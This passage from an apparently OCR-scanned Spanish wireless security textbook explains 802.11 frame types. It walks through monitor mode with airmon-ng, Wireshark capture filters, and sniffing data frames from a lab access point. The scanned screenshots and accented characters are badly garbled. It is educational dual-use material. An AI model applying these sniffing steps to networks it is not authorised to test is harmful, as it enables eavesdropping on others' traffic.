2. éSe puede ejecutar todos los experimentos con el BackTrack Live CD solo? Y no instalarlo en el disco
duro?

3. ¢Qué hace el comando arp -a?
4. Que herramienta debemos utilizar en BackTrack para conectarnos a las redes WPA/WPA2?

Resumen
En este capitulo se proporcionan instrucciones detalladas sobre cdmo configurar su propio laboratorio mévil.
Ademas, en el proceso, que ha aprendido los pasos basicos para:
Instalacion de BackTrack en su disco duro y la exploracidn de otras opciones, como VMware y USB
Configuracion del punto de acceso en la interfaz web

Comprender y utilizar varios comandos para configurar y usar su tarjeta inaldmbrica

Como verificar el estado de la conexidon entre el cliente inaldmbrico y el punto de acceso

Es importante que adquiera confianza en la configuracion del sistema. Si no es asi, es recomendable que repita
estos ejemplos un par de veces. En capitulos posteriores, habra que disefiar escenarios mas complicados.

En el siguiente capitulo, vamos a aprender acerca de la inseguridad inherente a las redes WLAN por su disefio.
Nosotros vamos a usar la herramienta Analizador de redes Wireshark para entender estos conceptos de una
manera practica.



WLAN y

las inseguridades inherentes

p—
e
"El mas noble del edificio, la base mas profunda debe
ser establecida."”
I
N?/ ‘\.
'\1 " Thomas Kempis, Escritor
X5
Nada grande puede construir sobre una base débil, y en nuestro contexto,
nada seguro se puede construir sobre algo que es inherentemente inseguro.
23
=

WLAN estdn disefiadas con ciertas inseguridades que son relativamente faciles de explotar, como la suplantacién
de paquetes, la inyeccion de paquetes vy el sniffing .Vamos a explorar las fallas en este capitulo.

En este capitulo, vamos a ver lo siguiente:

. Revisar los marcos WLAN

. Distintos tipos de tramas y sub-tipos

. Uso de Wireshark para sniff la gestion, control y frames de datos

. Sniffing de paquetes de datos para una red inalambrica determinada
. Inyeccion de paquetes en una red inaldmbrica determinada

Vamos a empezar!

Revisando WLAN frames

Como este libro se ocupa de los aspectos de seguridad de redes inaldmbricas, vamos a suponer que usted ya
tiene un conocimiento basico del protocolo y de las cabeceras de los paquetes. Si no es asi o si ha pasado algun
tiempo desde que trabajé en la red inaldmbrica, este seria un buen momento para volver otra vez.



Vamos ahora a revisar rdpidamente algunos conceptos basicos de las redes WLAN, que la mayoria de ustedes ya
deben tener en cuenta. En las redes WLAN, la comunicacién ocurre en los marcos (frames). Un frame tiene la
estructura siguiente de encabezado:

Duration/ Address Address Address Sequence Address QoS
] 1 2 Control Control

Bytes 2 2 6 6 6 2 6 2 Oto 4
2312

El "Frame Control" en si mismo tiene una estructura mas compleja:

Frame Duration/ Address Address Address Sequence Address
Control D 1 2 3 Control 4

Protocol More Data Protected
Frame

El tipo de campo define el tipo de WLAN frame, que tiene tres posibilidades:

1. Gestion de los marcos: marcos de gestidn es responsable de mantener la comunicacion entre los
puntos de acceso y clientes inalambricos. Los marcos de gestion pueden tener los siguientes sub-tipos:

%o Autenticacion

%o Des-autenticacion

%o Solicitud de Asociacion

%o Asociacion de respuesta

%o Solicitud de re-asociacion

%o Respuesta de re-asociacion

%o Disociacion

%o Beacon

%o Sondeo de solicitud




%o Sondeo de respuesta

2. Control de frames: cuadros de control son responsables de asegurar un correcto intercambio de
datos entre el punto de acceso y los clientes inaldmbricos. Tramas de control puede tener los
siguientes sub-tipos:

%o Solicitud de envio “Request to Send”(RTS)
%o Listo para enviar “Clear to Send” (CTS)
%o Reconocimiento “Acknowledgement”(ACK)

3 Frames de datos:. Tramas de datos lleva los datos reales enviados en la red inaldmbrica. No hay
sub-tipos de tramas de datos.

Vamos a discutir las implicaciones de seguridad de cada uno de estos cuadros cuando hablamos de ataques
diferentes en capitulos posteriores.

Ahora vamos a buscar la forma de esnifar estas tramas en una red inaldambrica utilizando Wireshark. Hay otras
herramientas como airodump-ng, tcpdump o tshark que se puede utilizar para el sniffing. Nosotros, sin embargo,
usaremos Wireshark en la mayor parte de este libro, pero le animamos a que explore otras herramientas. El
primer paso para hacer esto es crear una interfaz en modo monitor. Esta creara una interfaz de nuestra tarjeta
Alfa que nos permite leer todas las tramas inaldmbricas en el aire, independientemente de si estd destinado para
nosotros o no. En el mundo interconectado, esto es popularmente conocido como modo promiscuo.

Parte practica - Crear una interface en modo monito

Ahora vamos a configurar nuestra tarjeta de Alfa en modo monitor! Siga estas instrucciones para comenzar:

1.Arranque BackTrack con su tarjeta de Alfa conectada. Una vez que estan dentro de la consola,
escriba iwconfig para confirmar que su tarjeta ha sido detectada y el controlador se ha cargado
correctamente:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig 1=
Lo no wireless extensions.

etho no wireless extensions.
master® no wireless extensions.

lan@ IEEE 802.11bg ESSID:""
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:@ Signal level:0 Noise level:0
Rx invalid nwid:@ Rx invalid crypt:® Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

-l

i




2. Utilice el comando ifconfig wlan0 para levantar la tarjeta inalambrica. Verifique que la tarjeta esta
corriendo ejecutando ifconfig wlan0. Usted debe ver la palabra “Up” en la segunda linea de la salida
como se muestra:

Session Edit View Bookmarks Settings Help

lan@

#
e
#

#

# ifconfig wlan@

3* 3%

ifconfig wlan@ up &

Link encap:Ethernet HWaddr 00:c@:ca:3e:bd:93

UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:® errors:0 dropped:® overruns:0 frame:©
TX packets:0 errors:® dropped:0 overruns:0 carrier:0
collisions:® txqueuelen:1000

RX bytes:@ (0.0 B) TX bytes:0 (0.0 B)

3. Para poner nuestra tarjeta en modo monitor, vamos a utilizar la utilidad airmon-ng, que estd
disponible por defecto en BackTrack. En primer lugar ejecutar airmon-ng para comprobar que detecta
las tarjetas disponibles. Usted debe ver la interfaz wlan0 aparecer en la salida:

- Shell - Konsole

Session  Edit View Bookmarks Settings Help
i~# airmon-ng
Interface Chipset Driver
wlano RTL8187 rt1l8187 - [phyo]
—#
-#
#
= |

4. A continuacidn, introduzca airmon-ng start wlanO para crear una interfaz en modo monitor
correspondiente al dispositivo wlan0. Este nuevo modo de interfaz de monitor sera llamado mon0.
Puedes verificar que se ha creado mediante la ejecucion de airmon-ng sin argumentos una vez mas:

ne root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help
:~# airmon-ng start wlan@
Interface Chipset Driver
wlan0 RTL8187 rt18187 - [phy0]
(monitor mode enabled on mon0)
#
:~# airmon-ng
Interface Chipset Driver
wlan0® RTL8187 rt18187 - [phy0]
mono RTL8187 rt18187 - [phy0]
~# l




5. Ademads, ejecutando ifconfig deberia mostrar ahora una nueva interfaz llamada mon0O:

7 root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:# ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:© overruns:0 frame:@
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:@
RX bytes:0 (0.@ B) TX bytes:0 (0.0 B)

mon@ Link encap:UNSPEC HwWaddr 00-CO-CA-3E-BD-93-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3794 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0@ dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:422986 (422.9 KB) TX bytes:0 (0.0 B)

wlan® Link encap:Ethernet HwWaddr 00:c0:ca:3e:bd:93
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:®@ overruns:@ carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

wmaster® Link encap:UNSPEC Hwaddr 00-C0-CA-3E-BD-93-00-00-00-00-00-00-00-00-00-00
UP RUNNING MTU:0 Metric:1
RX packets:@ errors:@ dropped:@ overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.6 B) TX bytes:0 (0.0 B)

:"«l

Hemos creado con éxito una interfaz de modo monitor mon0. Esta interfaz se utiliza para rastrear los paquetes
inaldambricos de la zona. Esta interfaz ha sido creada para nuestra tarjeta inalambrica Alfa.

Inténtalo - Crear multiples interiaces en modo monitor

Es posible crear mdltiples interfaces de modo monitor usando la misma tarjeta fisica. Use la utilidad airmon-ng
para ver como puede hacer esto. tarjeta

ilmpresionante! Contamos con una interfaz de modo de monitor a la espera de leer algunos paquetes en el aire.
iAsi que vamos a empezar!

En el siguiente ejercicio, vamos a utilizar Wireshark para rastrear los paquetes en aire con el modo monitor de la
interfaz mon0 que acabamos de crear

Siga estas instrucciones para comenzar a esnifar los paquetes:

1.  Encienda nuestro punto de acceso de laboratorio inaldmbrico que se configuré en el Capitulo 1



2. Inicie Wireshark tecleando Wireshark en la consola. Una vez que Wireshark estd ejecutando, haga
click sobre Capture | Interfaces sub-menu:

File Edit View Go Capture Analyze Statistics Help
BEdee CEXSE A« XN ELEEE:
[57] kilt) : ;
Device Description P Packets Packets/s [

@l wmaster0 {8 start | i options

&l wlano {8 start | i Options

@l mono 1378 160 {8 start | fi options

@l any Pseudo-device that captures on all interfaces 1378 160 @ start | {i options

@llo 127.0.0.1 {8 start | i options

t{ Help

Ready to load or capture I No Packets {[Profile: Default

3. Seleccione la captura de paquetes desde la interfaz de mon0 haciendo clic en el botén Start a la
derecha de la interfaz mon0 como se muestra en la captura de pantalla anterior. Wireshark
comenzara la captura y ahora deberia ver los paquetes dentro de la ventana de Wireshark:

mon0: Capturing -

Fle Edit View Go Capture Analyze Statistics Help

BEgeganEXss cerwnFlEE QR @EEHE B

Mfmer: H j 4 Expression...| ¢4 Clear ::;§7App\y‘

No. . ‘T\me ‘Scurce ‘ Destination ‘ protocol | Info
869 7.807053  00:25:5e:17:41:4d Broadcast IEEE 802 Beacon frame, SN=2779, FN=0, BI=100, SSID=Broadcasi
870 7.807999 00:25:5e:17:41:4e Broadcast IEEE 802 Beacon frame, SN=2780, FN=0, BI=100, SSID=Broadcasi
871 7.800003  00:25:5e:17:41:4f Broadcast IEEE 802 Beacon frame, SN=2781, FN=0, BI=100, SSID=Broadcasi
872 7.893257 00:25:5e:17:41:4c Broadcast IEEE 802 Beacon frame, SN=2782, FN=0, BI=100, SSID='"Yivek"
873 7.906100  00:25:5e:17:41:4d Broadcast IEEE 802 Beacon frame, SN=2783, FN=0, BI=100, SSID=Broadcasi
874 7.907052 00:25:5e:17:41:4e Broadcast IEEE 802 Beacon frame, SN=2784, FN=0, BI=100, SSID=Broadcas
675 7.908047  00:25:5e:17:41:4f Broadcast IEEE 802 Beacon frame, SN=2785, FN=0, BI=100, SSID=Broadcasi
876 7.992247 00:25:5e:17:41:4c Broadcast IEEE 802 Beacon frame, SN=2786, FN=0, BI=100, SSID="Vivek"

b Frame 1 (131 bytes on wire, 131 bytes captured)

b Radiotap Header vO, Length 32

b IEEE 802.11 Beacon frame, Flags: ........ S

b IEEE 802.11 wireless LAN management frame

0000 00 00 20 00 2f 48 00 0O 7a 97 62 Zc 00 00 00 00
0010 10 02 6c 09 ab 60 cf O1 00 08 OO0 0O 00 00 00 00
0020 80 00 00 0O ff ff ff ff ff ff 00 25 Se 17 41 4c
0030 00 25 Se 17 41 4c a0 9a fc el 03 67 1f 00 00 0O

mono: <live capture in progress> Fi... | Packsts: 876 Displayed: 876 Marked: 0 [Profile: Defaule

4. Estos son los paquetes inaldmbricos que su tarjeta wi-fi Alfa esnifa del aire. Para ver cualquier
paquete, seleccidnelo en la ventana superior y todo el paquete se mostrara en la ventana del medio:



(Untitled) - Wireshark

Elle Edit wiew Go Capture Analyze Statistics Help

Blogee PEXTE v+ FR([EE @ QF @EMEK O

) eier: | w | 4+ Expression.. f_ggggr\gappuy\

No. . ‘T\me ‘ Source | Destination ‘ Protocol | Info
22735 193.768009 00:25:5e:17:41:dc (RA IEEE 802 Acknowledgement, Flags=..
22736 193.770008 IntelCor_3S:fc:44 00:25:5e: 1 1:4c IEEE 802 Data, SN=1667, FN=0, Flag
22737 193.771008 IntelCor_35:fc:44 (RA IEEE 802 Acknowledgement, Flags=..

BI=100, SSID="vivek"

22738 193.799267 00:25:5e:17:41:4c Broadcast IEEE 802 Beacon frame, SN=1861,

22740 193.802766 00:2 :17:41:4e Broadcast IEEE 802 Beacon frame, SN=1863, FN=0, Flag .C, BI=100, SSID=Broadcasi
22741 193.803660 00:2" 117:41:4f Broadcast IEEE 802 Beacon frame, SN=1864, FN=0, BI=100, SSID=Broadcasi

22742 193.847494 00:25:Se:3d:47:6d Broadcast 1EEE 802 Beacon frame, BI=100, SSID=Broadcast

- Frame 22739 (102 bytes on wire, 102 bytes captured)

b Radiotap Header vO, Length 32

P IEEE 802.11 Beacon frame, Flags: ........ [
v IEEE 802.11 wireless LAN management frame
~ Fixed parameters (12 bytes)

Timestamp: OxOOOCOO1F72EFS25S

Beacon Interval: 0.102400 [Seconds]
Capability Information: Oxo401

agged parameters (30 bytes)
SSID parameter set: Broadcast

Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B)

DS Parameter set: Current Chanmel: 1

Traffic Indication Map (TIM): DTIM O of 1 bitmap empty

ERP Information: no Non-ERP STAs, do not use protection, long preambles
Extended Supported Rates: 6.0 9.0 12.0 18.0 24.0 35.0 48.0 54.0

vvvvwwgw

[ profile: Default

Frame (frame), 102 bytes {[Packets: 22742 Displayed: 22742 Marked: 0 Dropped: 0

5.Haga clic en el tridngulo delante de IEEE 802.11 wireless LAN management frame para ampliar y ver
informacion adicional.

6. Busque en los diferentes campos de cabecera en el paquete y las correlacionan con los diferentes
tipos de tramas y sub-tipos WLAN que ha aprendido antes.

Nosotros no sélo esnifamos nuestra primera serie de paquetes en el aire! Hemos puesto en marcha Wireshark
que utiliza la interfaz en modo monitor mon0 que hemos creado anteriormente. Usted se dara cuenta al mirar a
la region del pie de pagina de Wireshark la velocidad a la que los paquetes estan siendo capturados y también el
numero de paquetes capturados hasta ahora.

Los trazados de Wireshark pueden ser un poco intimidantes a veces y simplemente para una razonablemente
poblada red inaldambrica podrias terminar esnifando unos cuantos millones de paquetes. Por lo tanto es
importante ser capaz de profundizar solo en los paquetes que nos interesan. Esto se puede lograr usando filtros
en Wireshark. Explore como se pueden utilizar estos filtros para identificar dispositivos inaldmbricos Unicos por
sus rastros tanto para los puntos de acceso como para los clientes conectados.



Si usted no puede hacer esto, no se preocupe, ya que es lo préximo que va a aprender.
Ahora vamos a aprender coémo aplicar filtros en Wireshark para ver la gestion, control y frames de datos.
Por favor, siga estas instrucciones paso a paso:

1. Para ver todos los marcos de gestion de los paquetes que se capturaron, escriba el filtro
wlan.fc.type == 0 en la ventana de filtro y haga clic en Aplicar. Puede detener la captura de paquetes,
si desea evitar que los paquetes se desplacen hacia abajo demasiado répido:

fle Edit Wew Go Capture Analyze Statistics Help

BEges cEX2S cer»aF 2 EE QA

¥

(¥ giter: [olan.fe. type = 0 ~ | 4 Expression. |r*1LIear‘ _"app\,l
wo . |me [sourca [osstination [erotocol [info E
22695 193.691008 00: Broadcast 1EEE 502 Beacon frams, SMe1850, FNeD, Flags= C, 51100, SSIDsBroadcast
22697 193.692119 00 Broadcast 1EEE @02 Beacon frame, SN-1360, FN-0, Flags= SSID=Broadcast
22723 193.742556 00 Broadcast 1EEE 802 Beacon frame, SNe714, FH=D, Flags= SSID=Broadcast
103, 790257 Broadcast @51, FN-0, Flag:

g0z Beacon frame, S
n

1862,
SM-1863, FM-

153.902765 00 Brosdcast 1EEE @02 Beacon frame, 0, Flag
163.803660  0O: Broadcast 1EEE 802 Beacon frame, SN=1864, FN=0, Flag: SSID=Broadcasi
22742 le3.847484 00:25: Brosdcast IEEE 202 Beacon frame, SN=717, FN=0, Flags= . B1-100, SSID-Broadeast j
> Frame 22739 (102 bytes on wire, 102 bytas captured) =
» Radiotap Header va, Length 32
v 1EEE 802.11 Beacon frame, Flags: ........ <

Type/Subtype: Beacan frame (GxoB)
~ Erame Control: 0x0080 (Normal)
version: o
Type: Management frame (0)
B

Destination address: Broadcast (Ff:ffiff:ffiffifi)
Source address: 00:2%:Sa:17:4l:4d (00:25:50:17:41:4d)
1:4d (00:25:%0:17:41:4d)

Fragment number: ©
Sequence nunber: 1862

| |

G600 oo 00 20 00
010 10 02 & 09
loozo 0 0o oo oo
lbozo 00 25 e 17
looso &4 00 01 04
looso 04 00 01 00
080 €0 Bc &7 45

£38288

Fackets: 22732 Displayed: 9339 Marked: 0 Dropped: 0 Frofie: Default
— —

2 Para ver frames de control, modifique la expresién del filtro para leer wlan.fc.type

Untitled) - Wireshark

ple Edt View Go Capture Analyze Statistics Help

A EEXSE A ¢»wTE EE =
() iter: [ elan.Tc type = 1 v | 4 xprossion I»'A,clmrl / ""“"I
No.. |Tme [ souce [Destination [Protocal [wfo =

22717 193, 725067
22719 193.736115
193740111

1EEE 802 Acknowledgenent,
1EEE BO2 Acknowledgement,
ana

1EEE B2 Acknowledgenent,
1666 802 Acknowledgement,
1EEE 802 Acknowledgement,
(PA TEEE D02 Acknowledgement,
1EEE 802 Acknowledgement,

00:25:56:17:4
22737 193.771008 IntelCor_3%:

Frame 22721 (46 bytes on wire, 46 bytes coptured)

Radiotap Header v0, Length 32

~ IEEE 802.11 Acknowledgement, Flags: .....
Type/Subtype: Acknowledgement (Ox1d)

v Frame Control: 0x0004 (Normal)

<

version: 0
Type: Control frame (1)
Subtype: 13
* Flags: 0x0
uration: ©
Receiver address: 00:25 7:4):dc (00:2
Frame check sequance: Oxaasge218 [corract]

:50117:41:4c)

0000 00 00 20 00 2f 48 00 00 1d &d ed 37 00 00 00 00
0010 10 30 £c 09 0 00 fO 01 00 00 00 0O 00 00 00 00
0020 d4 00 00 00 00 25 Se 17 41 &c aa 59 e2 18

Tile: *Amp/ethenO00M SojXy* 5280 K_. 3 Packets: 22742 Displayed: 7105 Marked:| - J Profle: Default




3. Para ver las tramas de datos, modificar la expresion de filtro para wlan.fc.type ==

Edt View Go Capture analyze Stetistics help

SEeea

EHXSTE A+« TFEEE Qaaafl #MEn:

@eiter: [{Tan e type = 2 v | 4 exprossion...| & cioar| < apply|

SN=1654,
. SN=1655,
, SNe1658,
SNe1657,

193.695104
22703 193, 700020
2770k 187 TnenTy

SN=2959, FN=O, Flags=.p.
e IEEE 902 Data, SN=16%9, FI=O, Flaga=.p
Amomn P ol

b Radiotap Header vO, Length 32

v IGEE 902.11 Data, Flags:
Type/Subtype: Data {0x20)

» Frams Control: O (Normal)
Curation: 44
BSS Td: 00:25:5e:17:41:dc (00:25:Se:17:41:dc)
Source address: IntelCor_35ifc:as (00:22:1b:35:iic:as)
Destination address: 00: 17:41:4c (00:75:5e:17:41:4c)
Fragment nunber: 0
Sequence nunber: 1658

b Frams check sequence: Oxclbccada [corract]

» TKIP paramsters

> Data (80 bytes)

oata:

1531

Frame (frame). 178 bytes JPMI(M( 22743 Oinployed: 5757 Marked- 0 Oropped:0

{Profie: Datault
—

4. Para seleccionar ademas un sub-tipo adicional utilice el filtro wlan.fc.subtype. Por ejemplo, para

ver todos los Beacon frames de todos los marcos de gestion utilizar el siguiente filtro (wlan. fc.type ==

0) && (wlan.fc.subtype == 8).

mon0: Capturing - Wire:

File Edit Wiew Go Capture Analyze Statistics Help

BeBea rEXescenwTE[EE RAAH @E

[)giter:[tulan e type = 0) 66 (wlan fe.subtype == &) v | 4 Expression..| & clear Jaw\y‘

No. - |T\me ‘Suurce

209 2.354957 :25:5e:17:41:

Broadcast
P e

Beacon frame,

FIN,

| Destination ‘ protocol | Info
177 2.156276 125:5e:17:41: Broadcast 1EEE 802 Beacon frame, SN=3899, FN=0, BI=100, SSID=Broadcasi
18 59845 25 Broadcast 1EEE 802 Beacon frame, 900, FI BI=1
Broadcast
188 2.261721 25:5e:17:41 Broadcast Beacon frame,
189 2.262720 125:5e:17:41: Broadcast Beacon frame,
207 2.351988 125:5e:17:41: Broadcast Beacon frame,
208 2.354111 125:5e117:41: Broadcast Beacon frame,

[_I+]

b Frame 187 (102 bytes on wire,

b Radiotap Header vo, Length 32

= IEEE 802.11 Beacon frame, Flags:

Type/subtype: Beacon frame (0Ox08)

Frame Control: 0x0080 (Narmal)
Version: 0

102 bytes captured)

4

Type: Management frame (0)

Subtype: 8
b Flags: 0x0
Duration: O
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Source address: 00:25:5e:17:41:4d (00:25:5e:17:41:4d)
BSS Id: 00:25:5e:17:41:4d (00:25:Se:17:41:4d)
Fragment number: @

Sequence number: 3901

ocoo 00 00 20 00 2f 48 00 00 71 25 5d 7f 01 0O 0O 0O

0010 10 02 6c 09 a0 00 d6 01 ©O 00 0O 0O 00 G0 00 00
o020 80 00 00 00 ff ff ff ff ff ff 00 25 se 17 41 4d
0030 00 25 Se 17 41 4d do f3 ds ed fe bo 20 0o 0o 0O
0040 54 00 01 04 00 00 01 04 82 84 b 96 03 01 01 05
0050 04 00 01 00 00 2a 01 04 32 08 Oc 12 18 24 30 48
o050 80 6c 3a 8a 91 7c

mon0: <live capture in progress> Fi... | Packets: 25328 Displayed: 18234 Marked: 0

{profile: Default




5.Si lo prefiere, puede hacer clic en cualquiera de los campos de la cabecera de la ventana del medioy
luego seleccione la opcion Apply as Filter | Selected para agregarlo como un filtro:

Untitled) - ¥

He Edr View Go Cepture Anal

a9 T2 EB QRN @NSE% B

:J 4 Exprossan, |A (harl rf"bpp'yl

Broadcast 1E8E BOZ Beacon frame, SN=1039, PN=D,
Groadcast IEGE D02 Beacon frame, SN=1040, FN<O,
froadcast 1EFE 807 Beacon SN=1041

20965 451, 824265
25085 451.824%01
26967 45 928

el
)

26985 451.519413
26950 451, 919513

Broadcast

SSIDe@roadcast

26551 451,520542 Broadcast 1EEE 802 Beacon SSIDeBroadcast |
26002 as1.921%51 Broadcast 1Eee 802 Beacan sstp=sroadeast =]
b Frame 26588 (102 bytes on wire, 102 bytes captured) —
b Radiotap Header vO, Length 32
™ IEPE 802.11 Beacon frame, Flags: ........ c
= Frame C
Vorsad  Expond Al
Type: | Collapse Al
Subtyy
b Flags Prepare a Fiker P | tiot Selected
Duratiol Colorize with Fiter P | ... and Selected
Destina .. gr Selacted
Source - and not Selected
B85S 1d: ... og not Selected
Fragman:

Copy »

UL upont Selected Packet Bytes.

T

| @ wio Protocol Page ©0 00 00

joo10 10 02 po 00 00 00

@ Fior Field Reference
20 R 0o

ozo B 0 | raferncon- be 03 & b

0030 63 00 >J p3 01 01 05

o050 04 00 8 30 a8

Loco oo 6o | Disabie protocel »

Besolve Name
Typo and subtype combined (rst b, ] Packets: 72638 Displayed; 73249 Marked: 0 Dropped: 0 {Profie: Defoult

6. Esto afiadird automaticamente la expresion correcta de filtro para el campo de filtro como se
muestra:

e Edt View Go Capture Analyze Statistics Help

Bt cEXesd aes»wTFLERB AN FVEL B

() giter:JuTan. F< _type_subtype == Gxo8 v | 4 Epeossion..| & |m|%"/y.p>,|

No.. |Time | source | Destination |protacal [info |f
26986 451 H2490) Broadcast TEeE 802 Beacon frame, SN=1040, FN-0, Flagse. B1100, SSiO-Broadcast
265987 &51.825928 Broadcast IESE 802 Boacon frame, SNs1041, FN0, Flagss, 612100, SS10sBroadcast
29969 251.919419 sroadcast 1E2 802 Boacon {rame, SN=1042, ssi0="vivek® ]
26990 451.919513 Broadcast 1EEE 802 Beacon frame, SN=1043, S5S10=Broadcast
26001 451.920542 Broadcast 1EEE 902 Beacon frame, SN=1044, SSI0=@roadcas!
26002 451921351 Broadcast 166 802 Beacon frame, SN1045, SS10eBroadcast

26003 451.960464

Broadcast 166E 502 Beacon frame, SN=4035, $S10=* Ashahd®

b Frame 25008 (102 bytes on wire, 102 bytes captured) ]
b Radiotap Header vO, Length 22
= 1EEE 802.1) Beacon frame, Flags: ........ c
Type/Subtype: Beacen frame (0x08)
~ Fram Control: 0x0080 (Normal)
version: ©
Type: Management frame (0)
Subtype: 8
® Flags: ox0
ouratien: O
Destination address: Broadcast (ff:ftiffft:ffite)
Source eddress: 00:25:5e:08:dbibb (00:25:5e:06:db:bb)
855 1d: 00: {00z
Fragment nunbor: O T
Sequence nunber: 4034

(i

o000 €0 00 20 00 2f 28 00 00 d0 ¢O 29 9 01 00 00 00
0010 10 02 6¢ 09 a0 00 b7 01 00 €O 0O 00 00 00 00 00
jo20 50 00 00 00 ff {f ff ¢f ff #f 00 35 Se 06 db bb
2030 00 25 Se 05 db bb 20 fc  4f cd 5f <1 08 00 00 0O
Jo020 €4 00 01 02 00 00 0 04 ©2 84 &b 98 03 01 01 05
Joos0 04 00 01 00 00 24 01 04 32 08 D¢ 12 18 24 30 48
o060 €0 6c Bic £ 97 62

‘Ampletheno00ULzIay" 18 M

{Profie: Defauk
——

Acabamos de enterarnos de como filtrar los paquetes en Wireshark utilizando diversas expresiones de filtro. Esto
nos ayuda a vigilar los paquetes seleccionados de los dispositivos que nos interesa, en lugar de tratar de analizar
todos los paquetes en el aire.



Ademas, podemos ver que la cabecera del paquete de marcos de gestion, control y los datos estan en texto
plano y no contiene ningun tipo de cifrado. De esta manera cualquier persona que pueda interceptar los
paquetes puede leer estas cabeceras. También es importante tener en cuenta que también es posible que un
hacker para modifique cualquiera de estos paquetes y los retransmita. Como no hay integridad o la mitigacién de
ataques de repeticién en el protocolo, esto es muy facil de hacer. Veremos algunos de estos ataques en los
ultimos capitulos.

Inténtalo - Juegue con los filtros|

Puede consultar el manual de Wireshark para saber mds acerca de las expresiones de filtro disponibles y cémo
utilizarlas. Trate de jugar con diferentes combinaciones de filtros hasta que esté seguro que usted puede
profundizar en cualquier nivel de detalles a lo largo del rastro de paquetes de gran tamario.

En el siguiente ejercicio, vamos a ver como rastrear los paquetes de datos transferidos entre nuestro punto de
acceso inalambrico y los clientes.

Parte practica - Sniffing de paguetes de datos de nuestra red

En este ejercicio, vamos a aprender a esnifar los paquetes de datos para una red inaldmbrica determinada. En
aras de la simplicidad, vamos a ver los paquetes sin ningun tipo de cifrado.

Siga estas instrucciones para comenzar:

1. Encienda el punto de acceso que habia nombrado como Wireless Lab configurado para utilizar sin
cifrado.

2. En primer lugar, tendra que encontrar el canal en el que el punto de acceso inalambrico del
laboratorio se esta ejecutando. Para ello, abra un terminal y ejecutar airodump-ng -- bssid
00:21:91: D2: 8E: 25 mon0 donde 00:21:91: D2: 8E: 25 es la direccién MAC de nuestro punto
de acceso. Vamos a la ejecucion del programaa y en breve puede ver su punto de acceso que aparece
en la pantalla junto con el canal que se esta ejecutando:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 4 ][ Elapsed: 12 s ][ 2018-12-23 09:11

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -52 5 @ 6 11 54 . OPN Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes

3. Podemos ver en la captura de pantalla anterior que nuestro punto de acceso wi-fi de laboratorio se
encuentra en el canal 11. Tenga en cuenta que esto puede ser diferente en su punto de acceso.



4. Con el fin de rastrear los paquetes de datos que van y vienen desde este punto de acceso, es
necesario bloquear nuestra tarjeta inaldmbrica en el mismo canal que es el canal 11. Para ello ejecute
el comando iwconfig mon0 channel 11 y luego ejecutar iwconfig mon0 para verificar la misma. Usted
debe ver el valor de frecuencia: 2.462 GHz en la salida. Esto corresponde a Canal 11:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig mon® channel 11 =
~#
~#
:~# iwconfig mon0@
mon® IEEE 802.11bg Mode:Monitor Frequency:2.462 GHz Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:0
Tx excessive retries:® Invalid misc:0 Missed beacon:0

S
~#

;—#|

6.Ahora inicia Wireshark y empezara a capturar en la interfaz mon0. Después que Wireshark ha
comenzado a capturar los paquetes, aplica un filtro para el bssid de nuestro punto de acceso como se
muestra usando wlan.bssid == 00:21:91:D2:8E:25 en el drea de filtro usando la direccion MAC
apropiada para el punto de acceso:

mono: Capturing - Wireshark

Ele Edit View Go Capture Analyze Statistics Help

S mEXsL v¢s»wTEEB Qcal dEmx

[F)Eitter: ”wlan.bssld == 00:21:01:d2:8e:25 ﬂ < Expression..,

No. - ‘T\me ‘ Source | Destination |Prnlucul Info &
o T e H ETUSUTEST TEEE BEETOTT TTEmE; SN = TBT=T
105 1.582950 D-Link_d2:ge:25 Broadcast IEEE 802 Beacon frame, SN=2509, FN=0, BI=100
107 1.687888  D-Link_d2:8e:25 Broadcast 1EEE 802 Beacon frame, SN=2510, FN=O, , BI=100
111 1.779111 D-Link_d2:8e:25 Broadcast IEEE 802 Beacon frame, SN=2511, FN=0, BI=100
113 1.885418  D-Link_d2:8e:25 Broadcast 1EEE 802 Beacon frame, SN=2512, FN=0, BI=100
115 1.980903  D-Link_d2:8e:25 Broadcast 1EEE 802 Beacon frame, SN=2513, FN=0, BI=100
117 2.119027  D-Link_d2:8e:25 Broadcast 1EEE 802 Beacon frame, SN=2514, FN=0, BI=100
121 2.293779  D-Link_d2:8e:25 Broadcast 1EEE 802 Beacon frame, SN=2516, FN=0, , BI=100
123 2.399670 D-Link_d2:8e:25 Broadcast IEEE 802 Beacon frame, SN=2517, FN=0, BI=100
125 2.526868  D-Link_d2:8e:25 Broadcast 1EEE 802 Beacon frame, SN=2518, FN=0, BI=100
127 2.604803 D-Link d2:8e:2S Broadcast 1EEE 802 Beacon frame. SN=2S19. FN=0. - BI=100 -

[ ]

